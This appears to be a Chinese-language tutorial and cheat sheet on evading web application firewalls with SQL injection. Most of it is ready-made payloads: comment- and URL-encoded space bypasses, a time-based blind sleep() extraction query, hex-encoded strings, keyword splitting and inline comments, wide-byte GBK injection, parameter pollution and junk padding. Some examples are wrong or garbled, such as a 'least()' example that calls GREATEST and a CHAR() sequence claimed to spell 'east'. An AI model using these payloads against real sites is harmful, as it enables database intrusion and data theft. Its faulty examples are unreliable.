含有SQL注入绕过魔术技巧+URL编码合理使用=注入之隐身术
WAF拦截原理:WAF从规则库中匹配敏感字符进行拦截(正则表达)
目录
一、绕过空格(常用:注释符/**/,%20)--注意:%27为’#为%23
二、括号绕过空格(理解原理+合理利用:注意%28、%29表示())
四、逗号绕过(使用from或者offset(偏移量)或者jion或者like或者limit)
五、比较符号(<、>)绕过WAF过滤(sqlmap盲注经常使用<、>,使用between的脚本):
八、“ = ”符号 绕过(like 、rlike 、regexp 或者 < 或者 >)
十六、组合绕过、分块传输、协议未覆盖、FUZZ大法、反序列化(有空处理)
常 用:注释--+、#(%23)、/**/(空格)、闭合使用、%27(’)、%20(space)
参考文章:HTML URL 编码参考手册 (w3school.com.cn)
SQL注入绕过技巧 - VVVinson - 博客园 (cnblogs.com)
一、绕过空格(常用:注释符/**/,%20)--注意:%27为’#为%23
URL编码参考:
%20 :表示空格字符
%09 :表示水平制表符(Tab 键)
%0a :表示换行符(LF,Line Feed)
%0b :表示垂直制表符
%0c :表示换页符
%0d :表示回车符(CR,Carriage Return)
%A0 :不是常见的标准编码,可能是特定上下文中的自定义编码
%00 :表示空字符(Null 字符)
/**/ :通常用于注释。在 /**/ 之间的内容会被视为注释,不会被执行
/*!*/:特定的一种特殊注释形式
(注意:在 /*! 和 */ 之间的代码,只有当数据库版本支持时才会执行,否则会被当作注释忽略)
特殊绕过:
8E0、8.0 表示 在科学计数法中“E0”通常表示乘以 10 的 0 次幂
例 如:
原 码: index.php?id=1’and 1=2 --+
试 用: index.php?id=1%27/**/and%201=2/**/--+
试 用: index.php?id=1'%0Aand%0C1=2%09--+
试 用: index.php?id=1%27%0dand%201=1--+
试 用: index.php?id=1%27%09and%201=1--+
试 用: index.php?id=-1 /*!union/**/select/**/1,2,database/**/()*/
试 用: index.php?id=8E0union%20select%201,2,3
二、括号绕过空格(理解原理+合理利用:注意%28、%29表示())
如果一个应用程序对输入中的空格进行了严格过滤,而您需要执行一个包含子查询的复杂 SQL 语句(空格被过滤,括号没有被过滤)
在 MySQL 中,括号 `()` 主要有以下几种用途:
1、用于分组和计算表达式的值:例如在数学运算中,`(2 + 3) * 4` 先计算括号内的 `2 + 3` ,然后再与 4 进行乘法运算。
2、定义子查询:将一个查询语句放在括号内作为子查询,然后在外部查询中使用子查询的结果。例如:`SELECT * FROM users WHERE age > (SELECT AVG(age) FROM users);`
代码:
SELECT AVG(age) FROM users :这是一个子查询,用于计算users表中所有用户年龄的平均值。
外部的查询SELECT * FROM users WHERE age > (子查询的结果) :从users表中选择所有年龄大于子查询计算出的平均年龄的记录,并返回所有列( * 表示所有列)。
3、控制运算符的优先级:确保某些操作先于其他操作执行
4、在函数中传递参数:许多函数需要将参数放在括号内,例如 `DATE_SUB(CURRENT_DATE, INTERVAL 1 DAY)`
5、用于条件判断:如在 `CASE WHEN` 表达式中,`CASE WHEN (condition) THEN value1 ELSE value2 END`
代码:
CASE:表示开始一个条件判断表达式。
WHEN (condition):指定条件。这里的 condition 可以是各种比较运算、逻辑运算或其他条件判断。
THEN value1:如果指定的条件为真(满足),则返回 value1 。
ELSE value2:如果前面的所有条件都不满足,则返回 value2 。
END:表示 CASE 表达式的结束。
例如:SELECT score, CASE WHEN (score >= 90) THEN 'A' WHEN (score >= 80 AND score < 90) THEN 'B' WHEN (score >= 70 AND score < 80) THEN 'C' WHEN (score >= 60 AND score < 70) THEN 'D' ELSE 'F' END AS grade FROM students;
(注意:过滤方法常常用于time based盲注)
例 如:(备注“109”表示m)
?id=1%27and(sleep(ascii(mid(database()from(1)for(1)))=109))%23
解 读:
第一部分:
?id=1%27:这部分表示传递了一个名为id的参数,其值为1',其中%27是单引号'的 URL 编码。
第二部分:
and(sleep(ascii(mid(database() from (1) for (1)))=109))%23:这部分是注入的关键部分。
第二部分拆分读解:
and:用于连接前面的条件(在这里没有实际的前半部分条件)。
sleep():是一个 MySQL 函数,用于暂停执行指定的时间(以秒为单位)。
ascii(mid(database() from (1) for (1))):mid(database() from (1) for (1)) 用于获取当前数据库名称的第一个字符,然后通过ascii()函数获取该字符的 ASCII 码值。mid(database() from (1) for 1)的作用是从当前数据库名称中截取第 1 个位置开始的 1 个字符。其中,(1)表示起始位置为第 1 个字符,第二个1表示要截取的字符长度为 1 。
第三部分:
=109:将获取到的 ASCII 码值与 109 进行比较。
目 的:整个表达式旨在让数据库执行 sleep()函数,若数据库名首字符 ASCII 码为 109 则暂停,借页面响应延迟推断条件,以获取数据库信息。
三、引号绕过(引号内字母 转 十六进制):
例如:查询所有数据库表:(0x74657374表示十六进制“test”库、table_schema表示库名为)
例 如:
传 递:
?id=-2%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=”test”
试 用:
?id=-2%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=0x74657374
四、逗号绕过(使用from或者offset(偏移量)或者jion或者like或者limit)
(1)在使用sql盲注时:
mid(a,b,c): 从b开始,截取a字符串的c位
substr(a,b,c): 从b开始,截取字符串a的c长度
left() : left(a,b)从左侧截取a的前b位
Limit:LIMIT 主要用于限制查询结果返回的行数
使用原因:在造子句都需要使用到逗号(利用from、offset进行绕过)
(2)使用from for的方式来解决mid、substr、left函数:
作用都为返回的结果中提取从第 1 个位置开始,长度为 1 的子字符串
使用方法一:
select substr(database(),1,1);
select mid(database(),1,1);
使用方法二:
select substr(database() from 1 for 1);
select mid(database() from 1 for 1);
(3)JOIN(连接)的主要作用是根据指定的条件将来自多个表的数据关联起来,以便能够从相关的表中获取更全面和有用的信息
代码:
union select 1,2
效果替换(注意:后面的a以及b为别名):
union select * from (select 1)a join (select 2)b
(4)like为模糊查询(like '%关键字%' 是一个条件筛选部分):
代码:
select ascii(mid(user(),1,1))=80
效果替换(注意:检查当前用户的信息是否以 u 开头):
select user() like 'u%'
(5)limit可以使用offset来绕过:
代码:
select * from news limit 0,1
效果替换(注意:从表news中选择数据。LIMIT 1表示只返回 1 行数据。OFFSET 0表示从结果集的开头(第 0 行)开始返回):
select * from news limit 1 offset 0
五、比较符号(<、>)绕过WAF过滤(sqlmap盲注经常使用<、>,使用between的脚本):
利用函数greatest()、least():
greatest():函数接受多个参数,并返回其中的最大值
例如:SELECT GREATEST(10, 20, 5, 15); 值为:20
least():函数接受多个参数,并返回其中的最小值
例如:SELECT GREATEST(10, 20, 5, 15); 值为:5
(1)Sql注入之二分查找:
代码:
select * from users where id=1 and ascii(substr(database(),0,1))>64
效果替换:
select * from users where id=1 and greatest(ascii(substr(database(),0,1),64)=64
(2)利用between and
结构为:between a and b
六、or and xor not绕过:
利用:and=&& or=|| xor=| not=!
(注意:在 SQL 中,XOR(异或)运算符用于比较两个布尔表达式,如果两个表达式的结果不同(一个为真,一个为假),则XOR的结果为真;如果两个表达式的结果相同(都为真或都为假),则XOR的结果为假。)
七、绕过注释符号(#,--(后面跟一个空格))过滤:
利用:or等价于||、或者直接‘
代码:?id=-1 union select 1,2,3 # 或者?id=-1 union select 1,2,3 --+
效果替换:?id=-1 union select 1,2,3 ||’
效果替换:?id=-1 union select 1,2,’3
八、“ = ”符号 绕过(like 、rlike 、regexp 或者 < 或者 >)
(1)LIKE介绍:
LIKE 用于在查询中进行模式匹配。它通常与通配符 %(代表任意字符序列,包括空字符序列)和 _(代表任意单个字符)一起使用。
例如:
SELECT * FROM users WHERE name LIKE '%John%'; -- 查找名字中包含 "John" 的用户
SELECT * FROM users WHERE name LIKE 'J___'; -- 查找以 "J" 开头且后面跟三个任意字符的用户
(2)RLIKE 或 REGEXP:
RLIKE(在 MySQL 中通常称为REGEXP)用于执行正则表达式匹配。正则表达式提供了更强大和灵活的模式匹配能力。
例如:
SELECT * FROM users WHERE name REGEXP '^[A-Z].*'; -- 查找以大写字母开头的名字
SELECT * FROM users WHERE name REGEXP '[0-9]+'; -- 查找包含至少一个数字的名字
(3)< 和 >:
< 用于比较小于某个值,> 用于比较大于某个值。
例如:
SELECT * FROM products WHERE price < 100; -- 查找价格小于 100 的产品
SELECT * FROM products WHERE quantity > 50; -- 查找数量大于 50 的产品
九、绕过union,select,where:
(1)使用注释符绕过:
常用注释符:
//,-- , /**/, #, --+, -- -, ;,%00,--a
用法:
U/**/ NION /**/ SE/**/ LECT /**/user,pwd from user
(2)使用大小写绕过:
id=-1'UnIoN/**/SeLeCT
(3)内联注释绕过:
id=-1'/*!UnIoN*/ SeLeCT 1,2,concat(/*!table_name*/) FrOM /*information_schema*/.tables /*!WHERE *//*!TaBlE_ScHeMa*/ like database()#
(4) 双关键字绕过(若删除掉第一个匹配的union就能绕过):
id=-1'UNIunionONSeLselectECT1,2,3–-
十、通用绕过(编码):
如URLEncode编码,ASCII,HEX,unicode编码绕过:
or 1=1即%6f%72%20%31%3d%31,而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)
解释:在 SQL 中,CHAR() 函数用于返回指定 ASCII 值对应的字符。
CHAR(101) 对应字符 'e',CHAR(97) 对应字符 'a',CHAR(115) 对应字符 's',CHAR(116) 对应字符 't' 。
所以 CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116) 是将这几个字符连接起来,结果为字符串 'east'
十一、等价函数绕过:
(1)hex()、bin() ==> ascii()
· hex() 函数用于将一个值转换为十六进制字符串表示。
· bin() 函数用于将一个值转换为二进制字符串表示。
· ascii() 函数用于返回字符的 ASCII 值
(2)sleep() ==>benchmark()
· sleep() 函数用于使当前的查询暂停指定的时间。
· benchmark() 函数通常用于性能测试,通过重复执行一个表达式来消耗一定的时间。
(3)concat_ws()==>group_concat()
concat_ws() 函数用于将多个字符串按照指定的分隔符连接起来。
group_concat() 函数通常用于将分组中的多行数据连接成一个字符串。
(4)mid()、substr() ==> substring()
mid() 和 substr() 函数用于从字符串中提取子字符串。
substring() 函数也用于提取子字符串。
(5)@@user ==> user()
(6)@@datadir ==> datadir()
十二、宽字节注入:
通常来说,在 SQL 语句中,单引号常用于标识字符串的开始和结束。如果输入中存在恶意构造的单引号,就可能成为 SQL 注入点,用于篡改数据库查询语句的逻辑。
addslashes()函数的作用是给某些特定字符(如单引号)添加反斜线 \ 进行转义,使其失去原本可能导致注入的功能。但这只是一种简单的防护措施。攻击者利用宽字节字符集(如 GBK)来绕过这个防护。在 GBK 编码中,某些情况下两个字节会被识别为一个汉字。
以给出的测试 payload 为例:最初输入的是 ' or 1=1 # ,这是一个可能用于 SQL 注入的恶意语句。经过 addslashes() 处理后,单引号 ' 变成了 \' ,其 URL 编码为 %5c%27
为了绕过这个转义,构造了新的payload :%df' or 1=1 #。当经过 addslashes()处理后,变成了 %df\' or 1=1 #,其 URL 编码是 %df%5c%27
例如:
查询语句是 :
SELECT * FROM users WHERE username = '$username' ,
而输入了恶意的 payload 并成功绕过,就可能导致查询语句变成:
SELECT * FROM users WHERE username = '%df\' or 1=1 #'
十三、HTTP参污染:
对目标发送多个参数,如果目标没有多参数进行多次过滤,那么WAF对多个参数只会识别其中的一个
举例:?id=1&id=2&id=3
举例:?id=1/**&id=-1%20union%20select%201,2,3%23*/
十四、更改前台提交方式:
提交方式修改GET\POST\REQUEST
十五、垃圾参数:
原理:WAF 为了保证性能,通常会对检测的数据包长度或数据流长度设置一个默认的限制值。这意味着,如果发送的数据量超过这个限制,WAF 可能无法对全部数据进行有效的检测。
攻击者利用这一点,向 HTTP POST 请求中添加大量的填充数据。当填充数据达到一定数量时,其中包含的 SQL 注入恶意代码可能就会因为超出 WAF 的检测范围而未被发现,从而实现了绕过 WAF 的目的。
通过使用脚本生成器来生成大量的垃圾字符作为填充数据,增加了数据量,使得恶意的 SQL 注入代码隐藏在未被检测的部分。
举例:?id=-1111111111111*[很多个1] &id=1 order by 3